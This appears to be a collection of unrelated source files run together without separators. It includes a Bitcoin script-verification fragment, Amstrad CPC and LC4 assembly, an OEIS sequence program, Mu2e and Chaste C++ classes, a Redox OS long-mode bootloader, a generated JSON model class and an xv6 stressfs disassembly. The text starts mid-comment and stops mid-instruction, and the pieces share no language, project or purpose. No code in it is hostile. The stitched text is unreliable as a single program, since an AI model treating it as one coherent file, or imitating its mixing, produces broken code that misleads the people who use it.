CLEANSTACK->P2SH+CLEANSTACK // would be possible, which is not a softfork (and P2SH should be one). assert((flags & SCRIPT_VERIFY_P2SH) != 0); assert((flags & SCRIPT_VERIFY_WITNESS) != 0); if (stack.size() != 1) { return set_error(serror, SCRIPT_ERR_CLEANSTACK); } } if (flags & SCRIPT_VERIFY_WITNESS) { // We can't check for correct unexpected witness data if P2SH was off, so require // that WITNESS implies P2SH. Otherwise, going from WITNESS->P2SH+WITNESS would be // possible, which is not a softfork. assert((flags & SCRIPT_VERIFY_P2SH) != 0); if (!hadWitness && !witness->IsNull()) { return set_error(serror, SCRIPT_ERR_WITNESS_UNEXPECTED); } } return set_success(serror); } size_t static WitnessSigOps(int witversion, const std::vector<unsigned char>& witprogram, const CScriptWitness& witness, int flags) { if (witversion == 0) { if (witprogram.size() == 20) return 1; if (witprogram.size() == 32 && witness.stack.size() > 0) { CScript subscript(witness.stack.back().begin(), witness.stack.back().end()); return subscript.GetSigOpCount(true); } } // Future flags may be implemented here. return 0; } size_t CountWitnessSigOps(const CScript& scriptSig, const CScript& scriptPubKey, const CScriptWitness* witness, unsigned int flags) { static const CScriptWitness witnessEmpty; if ((flags & SCRIPT_VERIFY_WITNESS) == 0) { return 0; } assert((flags & SCRIPT_VERIFY_P2SH) != 0); int witnessversion; std::vector<unsigned char> witnessprogram; if (scriptPubKey.IsWitnessProgram(witnessversion, witnessprogram)) { return WitnessSigOps(witnessversion, witnessprogram, witness ? *witness : witnessEmpty, flags); } if (scriptPubKey.IsPayToScriptHash() && scriptSig.IsPushOnly()) { CScript::const_iterator pc = scriptSig.begin(); std::vector<unsigned char> data; while (pc < scriptSig.end()) { opcodetype opcode; scriptSig.GetOp(pc, opcode, data); } CScript subscript(data.begin(), data.end()); if (subscript.IsWitnessProgram(witnessversion, witnessprogram)) { return WitnessSigOps(witnessversion, witnessprogram, witness ? *witness : witnessEmpty, flags); } } return 0; }
; ; CPC Maths Routines ; ; August 2003 **_|warp6|_** <kbaccam /at/ free.fr> ; ; $Id: log.asm,v 1.2 2009/06/22 21:44:17 dom Exp $ ; INCLUDE "cpcfirm.def" INCLUDE "cpcfp.def" XLIB log XDEF logc LIB get_para .log call get_para call firmware .logc defw CPCFP_FLO_LOG ret
; A015445: Generalized Fibonacci numbers: a(n) = a(n-1) + 9*a(n-2). ; 1,1,10,19,109,280,1261,3781,15130,49159,185329,627760,2295721,7945561,28607050,100117099,357580549,1258634440,4476859381,15804569341,56096303770,198337427839,703204161769,2488241012320,8817078468241,31211247579121,110564953793290,391466182005379,1386550766144989,4909746404193400 add $0,1 mov $3,2 lpb $0,1 sub $0,1 trn $1,1 mov $2,$1 mov $1,$3 mov $3,$2 mul $3,9 add $3,$1 lpe div $1,9 mul $1,9 add $1,1
// // Extinction Monitor UCI Tof hit info plus possible additional information produced by HitMaker // // // Mu2e includes #include "RecoDataProducts/inc/ExtMonUCITofHit.hh" using namespace std; namespace mu2e { void ExtMonUCITofHit::setEnergyDep(double energy) { _energyDep = energy; return; } // Print the information found in this hit. void ExtMonUCITofHit::print( ostream& ost, bool doEndl ) const { ost << "ExtMonUCI Hit :" << " station id: " << _stationId << " segment id: " << _segmentId << " time " << _time << " energyDep: " << _energyDep; if ( doEndl ){ ost << endl; } } } // namespace mu2e
;; Expected: 5040 fact ADD R6, R6, #-3 STR R7, R6, #1 STR R5, R6, #0 ADD R5, R6, #0 LDR R0, R5, #3 ADD R6, R6, #-1 STR R0, R6, #0 LDR R0, R6, #0 ADD R6, R6, #-1 STR R0, R6, #0 CONST R0, #1 ADD R6, R6, #-1 STR R0, R6, #0 LDR R0, R6, #0 LDR R1, R6, #1 CMP R0, R1 BRzp fact_j_cmp_true_0 CONST R0, #0 STR R0, R6, #1 BRnzp fact_j_cmp_end_0 fact_j_cmp_true_0 CONST R0, #1 STR R0, R6, #1 fact_j_cmp_end_0 ADD R6, R6, #1 ADD R6, R6, #1 LDR R0, R6, #-1 BRz fact_j_else_0 CONST R0, #1 ADD R6, R6, #-1 STR R0, R6, #0 BRnzp fact_j_endif_0 fact_j_else_0 LDR R0, R6, #0 ADD R6, R6, #-1 STR R0, R6, #0 CONST R0, #1 ADD R6, R6, #-1 STR R0, R6, #0 LDR R0, R6, #0 LDR R1, R6, #1 STR R0, R6, #1 STR R1, R6, #0 LDR R0, R6, #0 LDR R1, R6, #1 SUB R0, R0, R1 ADD R6, R6, #1 STR R0, R6, #0 JSR fact ADD R6, R6, #-1 LDR R0, R6, #0 LDR R1, R6, #1 STR R0, R6, #1 STR R1, R6, #0 ADD R6, R6, #1 LDR R0, R6, #0 LDR R1, R6, #1 MUL R0, R0, R1 ADD R6, R6, #1 STR R0, R6, #0 fact_j_endif_0 LDR R7, R6, #0 STR R7, R5, #2 ADD R6, R5, #0 LDR R5, R6, #0 LDR R7, R6, #1 ADD R6, R6, #3 RET main ADD R6, R6, #-3 STR R7, R6, #1 STR R5, R6, #0 ADD R5, R6, #0 CONST R0, #7 ADD R6, R6, #-1 STR R0, R6, #0 JSR fact ADD R6, R6, #-1 LDR R7, R6, #0 STR R7, R5, #2 ADD R6, R5, #0 LDR R5, R6, #0 LDR R7, R6, #1 ADD R6, R6, #3 RET
trampoline: .ready: dq 0 .cpu_id: dq 0 .page_table: dq 0 .stack_start: dq 0 .stack_end: dq 0 .code: dq 0 times 512 - ($ - trampoline) db 0 startup_ap: cli xor ax, ax mov ds, ax mov es, ax mov ss, ax ; initialize stack mov sp, 0x7C00 call initialize.fpu call initialize.sse ;cr3 holds pointer to PML4 mov edi, 0x70000 mov cr3, edi ;enable OSXSAVE, FXSAVE/FXRSTOR, Page Global, Page Address Extension, and Page Size Extension mov eax, cr4 or eax, 1 << 18 | 1 << 9 | 1 << 7 | 1 << 5 | 1 << 4 mov cr4, eax ; load protected mode GDT lgdt [gdtr] mov ecx, 0xC0000080 ; Read from the EFER MSR. rdmsr or eax, 1 << 11 | 1 << 8 ; Set the Long-Mode-Enable and NXE bit. wrmsr ;enabling paging and protection simultaneously mov ebx, cr0 or ebx, 1 << 31 | 1 << 16 | 1 ;Bit 31: Paging, Bit 16: write protect kernel, Bit 0: Protected Mode mov cr0, ebx ; far jump to enable Long Mode and load CS with 64 bit segment jmp gdt.kernel_code:long_mode_ap %include "startup-common.asm" startup_arch: cli ; setting up Page Tables ; Identity Mapping first GB mov ax, 0x7000 mov es, ax xor edi, edi xor eax, eax mov ecx, 6 * 4096 / 4 ;PML4, PDP, 4 PD / moves 4 Bytes at once cld rep stosd xor edi, edi ;Link first PML4 and second to last PML4 to PDP mov DWORD [es:edi], 0x71000 | 1 << 1 | 1 mov DWORD [es:edi + 510*8], 0x71000 | 1 << 1 | 1 add edi, 0x1000 ;Link last PML4 to PML4 mov DWORD [es:edi - 8], 0x70000 | 1 << 1 | 1 ;Link first four PDP to PD mov DWORD [es:edi], 0x72000 | 1 << 1 | 1 mov DWORD [es:edi + 8], 0x73000 | 1 << 1 | 1 mov DWORD [es:edi + 16], 0x74000 | 1 << 1 | 1 mov DWORD [es:edi + 24], 0x75000 | 1 << 1 | 1 add edi, 0x1000 ;Link all PD's (512 per PDP, 2MB each)y mov ebx, 1 << 7 | 1 << 1 | 1 mov ecx, 4*512 .setpd: mov [es:edi], ebx add ebx, 0x200000 add edi, 8 loop .setpd xor ax, ax mov es, ax ;cr3 holds pointer to PML4 mov edi, 0x70000 mov cr3, edi ;enable OSXSAVE, FXSAVE/FXRSTOR, Page Global, Page Address Extension, and Page Size Extension mov eax, cr4 or eax, 1 << 18 | 1 << 9 | 1 << 7 | 1 << 5 | 1 << 4 mov cr4, eax ; load protected mode GDT lgdt [gdtr] mov ecx, 0xC0000080 ; Read from the EFER MSR. rdmsr or eax, 1 << 11 | 1 << 8 ; Set the Long-Mode-Enable and NXE bit. wrmsr ;enabling paging and protection simultaneously mov ebx, cr0 or ebx, 1 << 31 | 1 << 16 | 1 ;Bit 31: Paging, Bit 16: write protect kernel, Bit 0: Protected Mode mov cr0, ebx ; far jump to enable Long Mode and load CS with 64 bit segment jmp gdt.kernel_code:long_mode USE64 long_mode: ; load all the other segments with 64 bit data segments mov rax, gdt.kernel_data mov ds, rax mov es, rax mov fs, rax mov gs, rax mov ss, rax ; stack_base mov rsi, 0xFFFFFF0000080000 mov [args.stack_base], rsi ; stack_size mov rcx, 0x1F000 mov [args.stack_size], rcx ; set stack pointer mov rsp, rsi add rsp, rcx ; copy env to stack %ifdef KERNEL mov rsi, 0 mov rcx, 0 %else mov rsi, redoxfs.env mov rcx, redoxfs.env.end - redoxfs.env %endif mov [args.env_size], rcx .copy_env: cmp rcx, 0 je .no_env dec rcx mov al, [rsi + rcx] dec rsp mov [rsp], al jmp .copy_env .no_env: mov [args.env_base], rsp ; align stack and rsp, 0xFFFFFFFFFFFFFFF0 ; set args mov rdi, args ; entry point mov rax, [args.kernel_base] call [rax + 0x18] .halt: cli hlt jmp .halt long_mode_ap: mov rax, gdt.kernel_data mov ds, rax mov es, rax mov fs, rax mov gs, rax mov ss, rax mov rcx, [trampoline.stack_end] lea rsp, [rcx - 256] mov rdi, trampoline.cpu_id mov rax, [trampoline.code] mov qword [trampoline.ready], 1 jmp rax gdtr: dw gdt.end + 1 ; size dq gdt ; offset gdt: .null equ $ - gdt dq 0 .kernel_code equ $ - gdt istruc GDTEntry at GDTEntry.limitl, dw 0 at GDTEntry.basel, dw 0 at GDTEntry.basem, db 0 at GDTEntry.attribute, db attrib.present | attrib.user | attrib.code at GDTEntry.flags__limith, db flags.long_mode at GDTEntry.baseh, db 0 iend .kernel_data equ $ - gdt istruc GDTEntry at GDTEntry.limitl, dw 0 at GDTEntry.basel, dw 0 at GDTEntry.basem, db 0 ; AMD System Programming Manual states that the writeable bit is ignored in long mode, but ss can not be set to this descriptor without it at GDTEntry.attribute, db attrib.present | attrib.user | attrib.writable at GDTEntry.flags__limith, db 0 at GDTEntry.baseh, db 0 iend .end equ $ - gdt
#include "BranchImpllinks.h" using namespace Tiny; BranchImpllinks::BranchImpllinks() { self = Link(); actions = Link(); runs = Link(); queue = Link(); _class = std::string(); } BranchImpllinks::BranchImpllinks(std::string jsonString) { this->fromJson(jsonString); } BranchImpllinks::~BranchImpllinks() { } void BranchImpllinks::fromJson(std::string jsonObj) { bourne::json object = bourne::json::parse(jsonObj); const char *selfKey = "self"; if(object.has_key(selfKey)) { bourne::json value = object[selfKey]; Link* obj = &self; obj->fromJson(value.dump()); } const char *actionsKey = "actions"; if(object.has_key(actionsKey)) { bourne::json value = object[actionsKey]; Link* obj = &actions; obj->fromJson(value.dump()); } const char *runsKey = "runs"; if(object.has_key(runsKey)) { bourne::json value = object[runsKey]; Link* obj = &runs; obj->fromJson(value.dump()); } const char *queueKey = "queue"; if(object.has_key(queueKey)) { bourne::json value = object[queueKey]; Link* obj = &queue; obj->fromJson(value.dump()); } const char *_classKey = "_class"; if(object.has_key(_classKey)) { bourne::json value = object[_classKey]; jsonToValue(&_class, value, "std::string"); } } bourne::json BranchImpllinks::toJson() { bourne::json object = bourne::json::object(); object["self"] = getSelf().toJson(); object["actions"] = getActions().toJson(); object["runs"] = getRuns().toJson(); object["queue"] = getQueue().toJson(); object["_class"] = getClass(); return object; } Link BranchImpllinks::getSelf() { return self; } void BranchImpllinks::setSelf(Link self) { this->self = self; } Link BranchImpllinks::getActions() { return actions; } void BranchImpllinks::setActions(Link actions) { this->actions = actions; } Link BranchImpllinks::getRuns() { return runs; } void BranchImpllinks::setRuns(Link runs) { this->runs = runs; } Link BranchImpllinks::getQueue() { return queue; } void BranchImpllinks::setQueue(Link queue) { this->queue = queue; } std::string BranchImpllinks::getClass() { return _class; } void BranchImpllinks::setClass(std::string _class) { this->_class = _class; }
/* Copyright (c) 2005-2017, University of Oxford. All rights reserved. University of Oxford means the Chancellor, Masters and Scholars of the University of Oxford, having an administrative office at Wellington Square, Oxford OX1 2JD, UK. This file is part of Chaste. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the University of Oxford nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "AbstractOdeBasedPhaseBasedCellCycleModel.hpp" AbstractOdeBasedPhaseBasedCellCycleModel::AbstractOdeBasedPhaseBasedCellCycleModel(double lastTime, boost::shared_ptr<AbstractCellCycleModelOdeSolver> pOdeSolver) : CellCycleModelOdeHandler(lastTime, pOdeSolver), mDivideTime(lastTime), mG2PhaseStartTime(DBL_MAX) { AbstractPhaseBasedCellCycleModel::SetBirthTime(lastTime); } AbstractOdeBasedPhaseBasedCellCycleModel::~AbstractOdeBasedPhaseBasedCellCycleModel() { } AbstractOdeBasedPhaseBasedCellCycleModel::AbstractOdeBasedPhaseBasedCellCycleModel(const AbstractOdeBasedPhaseBasedCellCycleModel& rModel) : AbstractPhaseBasedCellCycleModel(rModel), CellCycleModelOdeHandler(rModel), mDivideTime(rModel.mDivideTime), mG2PhaseStartTime(rModel.mG2PhaseStartTime) { /* * Initialize only those member variables defined in this class. * * The member variables mCurrentCellCyclePhase, mG1Duration, * mMinimumGapDuration, mStemCellG1Duration, mTransitCellG1Duration, * mSDuration, mG2Duration and mMDuration are initialized in the * AbstractPhaseBasedCellCycleModel constructor. * * The member variables mBirthTime, mReadyToDivide and mDimension * are initialized in the AbstractCellCycleModel constructor. */ } void AbstractOdeBasedPhaseBasedCellCycleModel::SetBirthTime(double birthTime) { AbstractPhaseBasedCellCycleModel::SetBirthTime(birthTime); mLastTime = birthTime; mDivideTime = birthTime; } void AbstractOdeBasedPhaseBasedCellCycleModel::UpdateCellCyclePhase() { assert(mpOdeSystem != nullptr); double current_time = SimulationTime::Instance()->GetTime(); // Update the phase from M to G1 when necessary if (mCurrentCellCyclePhase == M_PHASE) { double m_duration = GetMDuration(); if (GetAge() >= m_duration) { mCurrentCellCyclePhase = G_ONE_PHASE; mLastTime = m_duration + mBirthTime; } else { // Still dividing; don't run ODEs return; } } if (current_time > mLastTime) { if (!this->mFinishedRunningOdes) { // Update whether a stopping event has occurred this->mFinishedRunningOdes = SolveOdeToTime(current_time); // Check no concentrations have gone negative for (unsigned i=0; i<mpOdeSystem->GetNumberOfStateVariables(); i++) { if (mpOdeSystem->rGetStateVariables()[i] < -DBL_EPSILON) { // LCOV_EXCL_START EXCEPTION("A protein concentration " << i << " has gone negative (" << mpOdeSystem->rGetStateVariables()[i] << ")\n" << "Chaste predicts that the CellCycleModel numerical method is probably unstable."); // LCOV_EXCL_STOP } } if (this->mFinishedRunningOdes) { // Update durations of each phase mG1Duration = GetOdeStopTime() - mBirthTime - GetMDuration(); mG2PhaseStartTime = GetOdeStopTime() + GetSDuration(); mDivideTime = mG2PhaseStartTime + GetG2Duration(); // Update phase if (current_time >= mG2PhaseStartTime) { mCurrentCellCyclePhase = G_TWO_PHASE; } else { mCurrentCellCyclePhase = S_PHASE; } } } else { // ODE model finished, just increasing time until division... if (current_time >= mG2PhaseStartTime) { mCurrentCellCyclePhase = G_TWO_PHASE; } } } } void AbstractOdeBasedPhaseBasedCellCycleModel::ResetForDivision() { assert(this->mFinishedRunningOdes); AbstractPhaseBasedCellCycleModel::ResetForDivision(); mBirthTime = mDivideTime; mLastTime = mDivideTime; this->mFinishedRunningOdes = false; mG1Duration = DBL_MAX; mDivideTime = DBL_MAX; } double AbstractOdeBasedPhaseBasedCellCycleModel::GetOdeStopTime() { double stop_time = DOUBLE_UNSET; if (mpOdeSolver->StoppingEventOccurred()) { stop_time = mpOdeSolver->GetStoppingTime(); } return stop_time; } void AbstractOdeBasedPhaseBasedCellCycleModel::OutputCellCycleModelParameters(out_stream& rParamsFile) { // No new parameters to output, so just call method on direct parent class AbstractPhaseBasedCellCycleModel::OutputCellCycleModelParameters(rParamsFile); }
_stressfs: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "fs.h" #include "fcntl.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp int fd, i; char path[] = "stressfs0"; 7: b8 30 00 00 00 mov $0x30,%eax { c: ff 71 fc pushl -0x4(%ecx) f: 55 push %ebp 10: 89 e5 mov %esp,%ebp 12: 57 push %edi 13: 56 push %esi char data[512]; printf(1, "stressfs starting\n"); memset(data, 'a', sizeof(data)); 14: 8d b5 e8 fd ff ff lea -0x218(%ebp),%esi { 1a: 53 push %ebx for(i = 0; i < 4; i++) 1b: 31 db xor %ebx,%ebx { 1d: 51 push %ecx 1e: 81 ec 20 02 00 00 sub $0x220,%esp char path[] = "stressfs0"; 24: 66 89 85 e6 fd ff ff mov %ax,-0x21a(%ebp) printf(1, "stressfs starting\n"); 2b: 68 a8 08 00 00 push $0x8a8 30: 6a 01 push $0x1 char path[] = "stressfs0"; 32: c7 85 de fd ff ff 73 movl $0x65727473,-0x222(%ebp) 39: 74 72 65 3c: c7 85 e2 fd ff ff 73 movl $0x73667373,-0x21e(%ebp) 43: 73 66 73 printf(1, "stressfs starting\n"); 46: e8 f5 04 00 00 call 540 <printf> memset(data, 'a', sizeof(data)); 4b: 83 c4 0c add $0xc,%esp 4e: 68 00 02 00 00 push $0x200 53: 6a 61 push $0x61 55: 56 push %esi 56: e8 95 01 00 00 call 1f0 <memset> 5b: 83 c4 10 add $0x10,%esp if(fork() > 0) 5e: e8 26 03 00 00 call 389 <fork> 63: 85 c0 test %eax,%eax 65: 0f 8f bf 00 00 00 jg 12a <main+0x12a> for(i = 0; i < 4; i++) 6b: 83 c3 01 add $0x1,%ebx 6e: 83 fb 04 cmp $0x4,%ebx 71: 75 eb jne 5e <main+0x5e> 73: bf 04 00 00 00 mov $0x4,%edi break; printf(1, "write %d\n", i); 78: 83 ec 04 sub $0x4,%esp 7b: 53 push %ebx path[8] += i; fd = open(path, O_CREATE | O_RDWR); 7c: bb 14 00 00 00 mov $0x14,%ebx printf(1, "write %d\n", i); 81: 68 bb 08 00 00 push $0x8bb 86: 6a 01 push $0x1 88: e8 b3 04 00 00 call 540 <printf> path[8] += i; 8d: 89 f8 mov %edi,%eax fd = open(path, O_CREATE | O_RDWR); 8f: 5f pop %edi path[8] += i; 90: 00 85 e6 fd ff ff add %al,-0x21a(%ebp) fd = open(path, O_CREATE | O_RDWR); 96: 58 pop %eax 97: 8d 85 de fd ff ff lea -0x222(%ebp),%eax 9d: 68 02 02 00 00 push $0x202 a2: 50 push %eax a3: e8 29 03 00 00 call 3d1 <open> a8: 83 c4 10 add $0x10,%esp ab: 89 c7 mov %eax,%edi ad: 8d 76 00 lea 0x0(%esi),%esi for(i = 0; i < 20; i++) // printf(fd, "%d\n", i); write(fd, data, sizeof(data)); b0: 83 ec 04 sub $0x4,%esp b3: 68 00 02 00 00 push $0x200 b8: 56 push %esi b9: 57 push %edi ba: e8 f2 02 00 00 call 3b1 <write> for(i = 0; i < 20; i++) bf: 83 c4 10 add $0x10,%esp c2: 83 eb 01 sub $0x1,%ebx c5: 75 e9 jne b0 <main+0xb0> close(fd); c7: 83 ec 0c sub $0xc,%esp ca: 57 push %edi cb: e8 e9 02 00 00 call 3b9 <close> printf(1, "read\n"); d0: 58 pop %eax d1: 5a pop %edx d2: 68 c5 08 00 00 push $0x8c5 d7: 6a 01 push $0x1 d9: e8 62 04 00 00 call 540 <printf> fd = open(path, O_RDONLY); de: 8d 85 de fd ff ff lea -0x222(%ebp),%eax e4: 59 pop %ecx e5: 5b pop %ebx e6: 6a 00 push $0x0 e8: bb 14 00 00 00 mov $0x14,%ebx ed: 50 push %eax ee: e8 de 02 00 00 call 3d1 <open> f3: 83 c4 10 add $0x10,%esp f6: 89 c7 mov %eax,%edi f8: 90 nop f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for (i = 0; i < 20; i++) read(fd, data, sizeof(data)); 100: 83 ec 04 sub $0x4,%esp 103: 68 00 02 00 00 push $0x200 108: 56 push %esi 109: 57 push %edi 10a: e8 9a 02 00 00 call 3a9 <read> for (i = 0; i < 20; i++) 10f: 83 c4 10 add $0x10,%esp 112: 83 eb 01 sub $0x1,%ebx 115: 75 e9 jne 100 <main+0x100> close(fd); 117: 83 ec 0c sub $0xc,%esp 11a: 57 push %edi 11b: e8 99 02 00 00 call 3b9 <close> wait(); 120: e8 74 02 00 00 call 399 <wait> exit(); 125: e8 67 02 00 00 call 391 <exit> 12a: 89 df mov %ebx,%edi 12c: e9 47 ff ff ff jmp 78 <main+0x78> 131: 66 90 xchg %ax,%ax 133: 66 90 xchg %ax,%ax 135: 66 90 xchg %ax,%ax 137: 66 90 xchg %ax,%ax 139: 66 90 xchg %ax,%ax 13b: 66 90 xchg %ax,%ax 13d: 66 90 xchg %ax,%ax 13f: 90 nop 00000140 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 140: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 141: 31 d2 xor %edx,%edx { 143: 89 e5 mov %esp,%ebp 145: 53 push %ebx 146: 8b 45 08 mov 0x8(%ebp),%eax 149: 8b 5d 0c mov 0xc(%ebp),%ebx 14c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while((*s++ = *t++) != 0) 150: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 154: 88 0c 10 mov %cl,(%eax,%edx,1) 157: 83 c2 01 add $0x1,%edx 15a: 84 c9 test %cl,%cl 15c: 75 f2 jne 150 <strcpy+0x10> ; return os; } 15e: 5b pop %ebx 15f: 5d pop %ebp 160: c3 ret 161: eb 0d jmp 170 <strcmp> 163: 90 nop 164: 90 nop 165: 90 nop 166: 90 nop 167: 90 nop 168: 90 nop 169: 90 nop 16a: 90 nop 16b: 90 nop 16c: 90 nop 16d: 90 nop 16e: 90 nop 16f: 90 nop 00000170 <strcmp>: int strcmp(const char *p, const char *q) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 56 push %esi 174: 53 push %ebx 175: 8b 5d 08 mov 0x8(%ebp),%ebx 178: 8b 75 0c mov 0xc(%ebp),%esi while(*p && *p == *q) 17b: 0f b6 13 movzbl (%ebx),%edx 17e: 0f b6 0e movzbl (%esi),%ecx 181: 84 d2 test %dl,%dl 183: 74 1e je 1a3 <strcmp+0x33> 185: b8 01 00 00 00 mov $0x1,%eax 18a: 38 ca cmp %cl,%dl 18c: 74 09 je 197 <strcmp+0x27> 18e: eb 20 jmp 1b0 <strcmp+0x40> 190: 83 c0 01 add $0x1,%eax 193: 38 ca cmp %cl,%dl 195: 75 19 jne 1b0 <strcmp+0x40> 197: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 19b: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx 19f: 84 d2 test %dl,%dl 1a1: 75 ed jne 190 <strcmp+0x20> 1a3: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; } 1a5: 5b pop %ebx 1a6: 5e pop %esi return (uchar)*p - (uchar)*q; 1a7: 29 c8 sub %ecx,%eax } 1a9: 5d pop %ebp 1aa: c3 ret 1ab: 90 nop 1ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1b0: 0f b6 c2 movzbl %dl,%eax 1b3: 5b pop %ebx 1b4: 5e pop %esi return (uchar)*p - (uchar)*q; 1b5: 29 c8 sub %ecx,%eax } 1b7: 5d pop %ebp 1b8: c3 ret 1b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000001c0 <strlen>: uint strlen(char *s) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1c6: 80 39 00 cmpb $0x0,(%ecx) 1c9: 74 15 je 1e0 <strlen+0x20> 1cb: 31 d2 xor %edx,%edx 1cd: 8d 76 00 lea 0x0(%esi),%esi 1d0: 83 c2 01 add $0x1,%edx 1d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1d7: 89 d0 mov %edx,%eax 1d9: 75 f5 jne 1d0 <strlen+0x10> ; return n; } 1db: 5d pop %ebp 1dc: c3 ret 1dd: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 1e0: 31 c0 xor %eax,%eax } 1e2: 5d pop %ebp 1e3: c3 ret 1e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000001f0 <memset>: void* memset(void *dst, int c, uint n) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 57 push %edi 1f4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1f7: 8b 4d 10 mov 0x10(%ebp),%ecx 1fa: 8b 45 0c mov 0xc(%ebp),%eax 1fd: 89 d7 mov %edx,%edi 1ff: fc cld 200: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 202: 89 d0 mov %edx,%eax 204: 5f pop %edi 205: 5d pop %ebp 206: c3 ret 207: 89 f6 mov %esi,%esi 209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000210 <strchr>: char* strchr(const char *s, char c) { 210: 55 push %ebp 211: 89 e5 mov %esp,%ebp 213: 53 push %ebx 214: 8b 45 08 mov 0x8(%ebp),%eax 217: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 21a: 0f b6 18 movzbl (%eax),%ebx 21d: 84 db test %bl,%bl 21f: 74 1d je 23e <strchr+0x2e> 221: 89 d1 mov %edx,%ecx if(*s == c) 223: 38 d3 cmp %dl,%bl 225: 75 0d jne 234 <strchr+0x24> 227: eb 17 jmp 240 <strchr+0x30> 229: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 230: 38 ca cmp %cl,%dl 232: 74 0c je 240 <strchr+0x30> for(; *s; s++) 234: 83 c0 01 add $0x1,%eax 237: 0f b6 10 movzbl (%eax),%edx 23a: 84 d2 test %dl,%dl 23c: 75 f2 jne 230 <strchr+0x20> return (char*)s; return 0; 23e: 31 c0 xor %eax,%eax } 240: 5b pop %ebx 241: 5d pop %ebp 242: c3 ret 243: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000250 <gets>: char* gets(char *buf, int max) { 250: 55 push %ebp 251: 89 e5 mov %esp,%ebp 253: 57 push %edi 254: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 255: 31 f6 xor %esi,%esi { 257: 53 push %ebx 258: 89 f3 mov %esi,%ebx 25a: 83 ec 1c sub $0x1c,%esp 25d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 260: eb 2f jmp 291 <gets+0x41> 262: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 268: 83 ec 04 sub $0x4,%esp 26b: 8d 45 e7 lea -0x19(%ebp),%eax 26e: 6a 01 push $0x1 270: 50 push %eax 271: 6a 00 push $0x0 273: e8 31 01 00 00 call 3a9 <read> if(cc < 1) 278: 83 c4 10 add $0x10,%esp 27b: 85 c0 test %eax,%eax 27d: 7e 1c jle 29b <gets+0x4b> break; buf[i++] = c; 27f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 283: 83 c7 01 add $0x1,%edi 286: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 289: 3c 0a cmp $0xa,%al 28b: 74 23 je 2b0 <gets+0x60> 28d: 3c 0d cmp $0xd,%al 28f: 74 1f je 2b0 <gets+0x60> for(i=0; i+1 < max; ){ 291: 83 c3 01 add $0x1,%ebx 294: 89 fe mov %edi,%esi 296: 3b 5d 0c cmp 0xc(%ebp),%ebx 299: 7c cd jl 268 <gets+0x18> 29b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 29d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 2a0: c6 03 00 movb $0x0,(%ebx) } 2a3: 8d 65 f4 lea -0xc(%ebp),%esp 2a6: 5b pop %ebx 2a7: 5e pop %esi 2a8: 5f pop %edi 2a9: 5d pop %ebp 2aa: c3 ret 2ab: 90 nop 2ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2b0: 8b 75 08 mov 0x8(%ebp),%esi 2b3: 8b 45 08 mov 0x8(%ebp),%eax 2b6: 01 de add %ebx,%esi 2b8: 89 f3 mov %esi,%ebx buf[i] = '\0'; 2ba: c6 03 00 movb $0x0,(%ebx) } 2bd: 8d 